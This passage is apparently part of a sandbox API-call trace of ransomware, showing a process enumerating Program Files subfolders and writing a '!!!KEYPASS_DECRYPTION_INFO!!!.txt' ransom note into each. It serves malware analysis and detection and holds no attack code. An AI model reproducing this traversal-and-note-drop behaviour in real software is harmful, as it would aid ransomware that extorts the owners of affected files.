returned 0x0 [0239.721] GetLastError () returned 0x3f0 [0239.721] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.721] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4 [0239.722] GetFileType (hFile=0x4e4) returned 0x1 [0239.723] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.723] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.723] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.723] WriteFile (in: hFile=0x4e4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.724] WriteFile (in: hFile=0x4e4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.724] CloseHandle (hObject=0x4e4) returned 1 [0239.724] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd05d80 [0239.724] FindNextFileW (in: hFindFile=0xd05d80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.724] FindNextFileW (in: hFindFile=0xd05d80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.724] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.724] FindNextFileW (in: hFindFile=0xd05d80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.724] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned=".mui" [0239.724] FindNextFileW (in: hFindFile=0xd05d80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.724] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.724] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.724] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.725] GetLastError () returned 0x3f0 [0239.725] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.725] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0239.725] GetFileType (hFile=0x4e8) returned 0x1 [0239.725] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.725] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.725] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.726] WriteFile (in: hFile=0x4e8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.726] WriteFile (in: hFile=0x4e8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.726] CloseHandle (hObject=0x4e8) returned 1 [0239.727] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd061c0 [0239.727] FindNextFileW (in: hFindFile=0xd061c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.727] FindNextFileW (in: hFindFile=0xd061c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.727] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.727] FindNextFileW (in: hFindFile=0xd061c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.727] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned=".mui" [0239.727] FindNextFileW (in: hFindFile=0xd061c0, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.727] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.727] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.727] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.727] GetLastError () returned 0x3f0 [0239.727] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-HK\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-HK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.727] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-HK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-HK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-hk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d8 [0239.729] GetFileType (hFile=0x4d8) returned 0x1 [0239.729] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.729] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.729] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.730] WriteFile (in: hFile=0x4d8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.731] WriteFile (in: hFile=0x4d8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.731] CloseHandle (hObject=0x4d8) returned 1 [0239.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-HK\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06040 [0239.731] FindNextFileW (in: hFindFile=0xd06040, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.731] FindNextFileW (in: hFindFile=0xd06040, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.731] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-HK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.731] FindNextFileW (in: hFindFile=0xd06040, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.731] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-HK\\tipresx.dll.mui") returned=".mui" [0239.731] FindNextFileW (in: hFindFile=0xd06040, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.731] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.731] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.732] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.732] GetLastError () returned 0x3f0 [0239.732] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.732] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0239.732] GetFileType (hFile=0x4ec) returned 0x1 [0239.732] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.732] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.732] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.733] WriteFile (in: hFile=0x4ec, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.733] WriteFile (in: hFile=0x4ec, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.733] CloseHandle (hObject=0x4ec) returned 1 [0239.734] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd05a40 [0239.734] FindNextFileW (in: hFindFile=0xd05a40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.734] FindNextFileW (in: hFindFile=0xd05a40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.734] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.734] FindNextFileW (in: hFindFile=0xd05a40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.734] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned=".mui" [0239.734] FindNextFileW (in: hFindFile=0xd05a40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.734] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0239.734] FindNextFileW (in: hFindFile=0xcb99b8, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0239.734] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0239.734] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.734] GetLastError () returned 0x3f0 [0239.734] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.734] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0239.735] GetFileType (hFile=0x4f0) returned 0x1 [0239.736] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0239.736] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0239.736] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0239.736] WriteFile (in: hFile=0x4f0, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0239.737] WriteFile (in: hFile=0x4f0, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0239.737] CloseHandle (hObject=0x4f0) returned 1 [0239.737] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0xd05f00 [0239.737] FindNextFileW (in: hFindFile=0xd05f00, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.737] FindNextFileW (in: hFindFile=0xd05f00, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.737] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.737] FindNextFileW (in: hFindFile=0xd05f00, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.737] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.737] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.737] GetLastError () returned 0x3f0 [0239.737] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.738] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0239.738] GetFileType (hFile=0x4f4) returned 0x1 [0239.738] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.738] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.738] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.738] WriteFile (in: hFile=0x4f4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.739] WriteFile (in: hFile=0x4f4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.739] CloseHandle (hObject=0x4f4) returned 1 [0239.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd05e80 [0239.740] FindNextFileW (in: hFindFile=0xd05e80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.740] FindNextFileW (in: hFindFile=0xd05e80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.740] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.740] FindNextFileW (in: hFindFile=0xd05e80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.740] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned=".mui" [0239.740] FindNextFileW (in: hFindFile=0xd05e80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.740] FindNextFileW (in: hFindFile=0xd05f00, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.740] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned=".exe" [0239.740] FindNextFileW (in: hFindFile=0xd05f00, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0239.740] FindNextFileW (in: hFindFile=0xcb99b8, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0239.740] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0239.740] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.740] GetLastError () returned 0x3f0 [0239.740] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.740] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0239.742] GetFileType (hFile=0x4f8) returned 0x1 [0239.742] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0239.742] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0239.743] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0239.743] WriteFile (in: hFile=0x4f8, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0239.743] WriteFile (in: hFile=0x4f8, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0239.744] CloseHandle (hObject=0x4f8) returned 1 [0239.744] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0xd05cc0 [0239.744] FindNextFileW (in: hFindFile=0xd05cc0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.744] FindNextFileW (in: hFindFile=0xd05cc0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.744] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.744] FindNextFileW (in: hFindFile=0xd05cc0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.744] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned=".EXE" [0239.744] FindNextFileW (in: hFindFile=0xd05cc0, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.745] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.745] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.745] GetLastError () returned 0x3f0 [0239.745] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.745] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0239.784] GetFileType (hFile=0x500) returned 0x1 [0239.785] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.785] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.785] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.785] WriteFile (in: hFile=0x500, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.787] WriteFile (in: hFile=0x500, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.787] CloseHandle (hObject=0x500) returned 1 [0239.787] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd05d00 [0239.787] FindNextFileW (in: hFindFile=0xd05d00, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.787] 